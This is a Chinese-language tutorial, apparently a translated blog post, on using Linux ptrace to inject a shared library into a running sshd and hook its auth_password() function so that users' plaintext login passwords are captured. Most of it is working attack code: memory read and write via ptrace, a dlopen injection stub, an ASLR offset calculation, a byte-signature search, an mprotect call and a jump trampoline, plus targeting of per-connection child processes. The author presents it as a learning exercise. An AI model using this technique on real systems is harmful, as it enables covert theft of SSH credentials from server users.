
我设定的目标非常简单:使用ptrace学习在sshd中输入的密码。 当然,这是一项人为的任务,因为还有许多其他更有效的方法来实现您想要的(并且获得
SEGV的可能性要低得多),但是,对我来说,这样做很酷。
什么是ptrace?
那些在Windows上熟悉注入的人可能知道函数
VirtualAllocEx()
,
WriteProcessMemory()
,
ReadProcessMemory()
和
CreateRemoteThread()
。 这些调用使您可以分配内存并在另一个进程中启动线程。 在linux世界中,内核为我们提供了
ptrace
,这使调试器可以与正在运行的进程进行交互。
Ptrace提供了几种有用的调试操作,例如:
- PTRACE_ATTACH-允许您通过暂停调试的进程来加入单个进程
- PTRACE_PEEKTEXT-允许您从另一个进程的地址空间读取数据
- PTRACE_POKETEXT-允许您将数据写入另一个进程的地址空间
- PTRACE_GETREGS-读取进程寄存器的当前状态
- PTRACE_SETREGS-记录进程寄存器的状态
- PTRACE_CONT-继续执行已调试的进程
尽管这不是ptrace功能的完整列表,但是由于缺乏Win32熟悉的功能,我遇到了困难。 例如,在Windows上,可以使用
VirtualAllocEx()
函数在另一个进程中分配内存,该函数将返回指向新分配的内存的指针。 由于这在ptrace中不存在,因此如果要在其他进程中嵌入代码,则必须即兴进行。
那么,让我们考虑一下如何使用ptrace来控制进程。
Ptrace基础
我们必须做的第一件事就是加入我们感兴趣的过程。 为此,只需使用PTRACE_ATTACH参数调用ptrace:
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
此调用很简单,因为塞车,它接受我们要加入的进程的PID。 发生呼叫时,将发送SIGSTOP信号,从而强制停止感兴趣的进程。
加入后,有理由在开始更改之前先保存所有寄存器的状态。 这将使我们能够在以后还原程序:
struct user_regs_struct oldregs; ptrace(PTRACE_GETREGS, pid, NULL, &oldregs);
接下来,您需要找到一个可以编写代码的地方。 最简单的方法是从地图文件中提取信息,可以在每个过程的procfs中找到这些信息。 例如,在Ubuntu上正在运行的sshd进程上的“ / proc / PID / maps”看起来像这样:

我们需要找到分配了执行权的存储区(最有可能是“ r-xp”)。 一旦找到适合自己的区域(类似于寄存器),我们将保存内容,以便稍后我们可以正确地恢复工作:
ptrace(PTRACE_PEEKTEXT, pid, addr, NULL);
使用ptrace,您可以在指定地址读取一个机器数据字(x86为32位,x86_64为64位),也就是说,要读取更多数据,您需要进行多次调用,增加地址。
注意:在Linux中,还有process_vm_readv()和process_vm_writev()用于处理另一个进程的地址空间。 但是,在本文中,我将坚持使用ptrace。 如果要执行其他操作,最好阅读这些功能。现在我们已经备份了所需的存储区,我们可以开始覆盖:
ptrace(PTRACE_POKETEXT, pid, addr, word);
与PTRACE_PEEKTEXT一样,此调用一次只能在指定地址记录一个机器字。 同样,写一个以上的机器字将需要许多调用。
加载代码后,您需要将控制权转移给它。 为了不覆盖内存(例如堆栈)中的数据,我们将使用之前保存的寄存器:
struct user_regs_struct r; memcpy(&r, &oldregs, sizeof(struct user_regs_struct));
最后,我们可以继续使用PTRACE_CONT执行:
ptrace(PTRACE_CONT, pid, NULL, NULL);
但是我们如何知道我们的代码已经完成执行呢? 我们将使用软件中断,也称为生成SIGTRAP的“ int 0x03”指令。 我们将使用waitpid()等待:
waitpid(pid, &status, WUNTRACED);
waitpid()-阻塞调用,它将等待进程停止并使用PID标识符,并将停止的原因写入状态变量。 顺便说一下,这里有许多宏可以简化找出停止原因的工作。
要找出是否有由于SIGTRAP导致的停止(由于调用int 0x03),我们可以这样做:
waitpid(pid, &status, WUNTRACED); if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) { printf("SIGTRAP received\n"); }
至此,我们的嵌入式代码已经执行完毕,我们需要做的就是将流程恢复到原始状态。 恢复所有寄存器:
ptrace(PTRACE_SETREGS, pid, NULL, &origregs);
然后我们将返回内存中的原始数据:
ptrace(PTRACE_POKETEXT, pid, addr, word);
并断开该过程:
ptrace(PTRACE_DETACH, pid, NULL, NULL);
理论就足够了。 让我们继续进行更有趣的部分。
SSHD注入
我必须警告说,有可能会丢失sshd,因此请小心,请勿尝试在工作系统上,尤其是通过SSH的远程系统上进行检查:D
而且,有几种更好的方法可以达到相同的结果,我仅以有趣的方式演示了这一方法,以展示ptrace的功能(同意这要比Hello World中的注入更好);我唯一想做的就是在对用户进行身份验证时从运行sshd获得登录密码组合。 在查看源代码时,我们可以看到如下所示:
验证密码 int auth_password(Authctxt *authctxt, const char *password) { ... }
尝试删除用户以明文形式传输的用户名/密码似乎是个好地方。
我们想找到一个函数签名,使我们可以在内存中找到它的[function]。 我使用我最喜欢的反汇编工具radare2:

必须找到唯一且仅在auth_password函数中出现的字节序列。 为此,我们将使用radare2中的搜索:

碰巧序列
xor rdx, rdx; cmp rax, 0x400
xor rdx, rdx; cmp rax, 0x400
符合我们的要求,并且在整个ELF文件中只能找到一次。
注意...如果没有此序列,请确保您具有最新版本,该版本也
关闭了 2016年中
的漏洞(在7.6版中,此序列也是唯一的-大约Per。)。
下一步是代码注入。
将.so下载到sshd
要将代码加载到sshd中,我们将制作一个小存根,该存根将允许我们调用dlopen()并加载一个动态库,该库已经实现了“ auth_password”的替换。
dlopen()是对动态链接的调用,它在参数中获取动态库的路径,并将其加载到调用进程的地址空间中。 该函数位于libdl.so中,它动态链接到应用程序。
幸运的是,在我们的例子中,libdl.so已经加载到sshd中,因此我们只需要执行dlopen()。 但是,由于有
ASLR, dlopen()每次都不太可能在同一位置,因此您必须在sshd内存中找到其地址。
为了找到函数的地址,您需要计算偏移量-dlopen()函数的地址与libdl.so的起始地址之间的差:
unsigned long long libdlAddr, dlopenAddr; libdlAddr = (unsigned long long)dlopen("libdl.so", RTLD_LAZY); dlopenAddr = (unsigned long long)dlsym(libdlAddr, "dlopen"); printf("Offset: %llx\n", dlopenAddr - libdlAddr);
现在,我们已经计算了偏移量,我们需要从地图文件中找到libdl.so的起始地址:

知道sshd中的libdl.so的基地址(0x7f0490a0d000,如上面的屏幕截图所示),我们可以添加一个偏移量并获取地址dlopen()从注入代码中调用。
我们将使用PTRACE_SETREGS通过寄存器传递所有必要的地址。
还必须将到植入库的路径写入sshd地址空间,例如:
void ptraceWrite(int pid, unsigned long long addr, void *data, int len) { long word = 0; int i = 0; for (i=0; i < len; i+=sizeof(word), word=0) { memcpy(&word, data + i, sizeof(word)); if (ptrace(PTRACE_POKETEXT, pid, addr + i, word)) == -1) { printf("[!] Error writing process memory\n"); exit(1); } } } ptraceWrite(pid, (unsigned long long)freeaddr, "/tmp/inject.so\x00", 16)
通过在注入准备过程中尽可能多地进行操作并将指向参数的指针直接加载到寄存器中,我们可以使注入代码更容易。 例如:
也就是说,代码注入非常简单:
; RSI set as value '2' (RTLD_LAZY) ; RDI set as char* to shared library path ; RAX contains the address of dlopen call rax int 0x03
现在该创建我们的动态库了,该库将注入注入代码。
在继续之前,请考虑将要使用的一件事。动态库构造函数。
动态库中的构造函数
动态库可以在加载时执行代码。 为此,用解码器“ __attribute __((constructor))”标记功能。 例如:
#include <stdio.h> void __attribute__((constructor)) test(void) { printf("Library loaded on dlopen()\n"); }
您可以使用简单的命令进行复制:
gcc -o test.so --shared -fPIC test.c
然后检查性能:
dlopen("./test.so", RTLD_LAZY);
当库加载时,构造函数也将被调用:

当将代码注入另一个进程的地址空间时,我们还使用此功能使我们的生活更轻松。
SSHD动态库
现在我们有机会加载动态库,我们需要创建代码,以在运行时更改auth_password()的行为。
加载动态库后,可以在procfs中使用文件“ / proc / self / maps”找到sshd的起始地址。 我们正在寻找具有“ rx”权限的区域,在该区域中我们将在auth_password()中寻找唯一的序列:
d = fopen("/proc/self/maps", "r"); while(fgets(buffer, sizeof(buffer), fd)) { if (strstr(buffer, "/sshd") && strstr(buffer, "rx")) { ptr = strtoull(buffer, NULL, 16); end = strtoull(strstr(buffer, "-")+1, NULL, 16); break; } }
由于我们要搜索的地址范围很广,因此我们正在寻找一个函数:
const char *search = "\x31\xd2\x48\x3d\x00\x04\x00\x00"; while(ptr < end) {
找到匹配项后,必须使用mprotect()更改对存储区域的权限。 这是因为存储区是可读和可执行的,并且在旅途中进行更改需要写权限:
mprotect((void*)(((unsigned long long)ptr / 4096) * 4096), 4096*2, PROT_READ | PROT_WRITE | PROT_EXEC)
好吧,我们有权写入所需的内存区域,现在是时候在auth_password函数的开头添加一个小的跳板,它将控制权传递给钩子:
char jmphook[] = "\x48\xb8\x48\x47\x46\x45\x44\x43\x42\x41\xff\xe0";
这等效于以下代码:
mov rax, 0x4142434445464748 jmp rax
当然,地址0x4142434445464748不适合我们,它将被钩子的地址替换:
*(unsigned long long *)((char*)jmphook+2) = &passwd_hook;
现在我们可以将跳板插入sshd中。 为了使注射美观而干净,请在功能开始时插入跳板:
现在我们必须实现一个钩子,用于处理传递数据的日志记录。 我们必须确保在钩子开始之前保存了所有寄存器,并在返回原始代码之前恢复了所有寄存器:
好吧,就这些……
不幸的是,在完成所有这些之后,还不是全部。 即使sshd代码注入失败,您也可能会注意到您要查找的用户密码仍然不可用。 这是由于每个连接的sshd都会创建一个新子代。 处理连接的是新孩子,我们必须设置钩子。
为确保我们正在处理sshd子级,我决定扫描procfs以获得指定父PID sshd的统计信息文件。 一旦找到这样的过程,喷射器就会为他启动。
甚至还有好处。 如果一切出错,并且代码注入从SIGSEGV中删除,则只会杀死一个用户的进程,而不会杀死父sshd进程。 这不是最大的安慰,但是它显然使调试更加容易。
注射动作
好的,让我们看一下演示:

完整的代码可以在
这里找到。
我希望这次旅行为您提供了足够的信息,以帮助您了解自己的情况。
我要感谢以下帮助处理ptrace的人员和网站: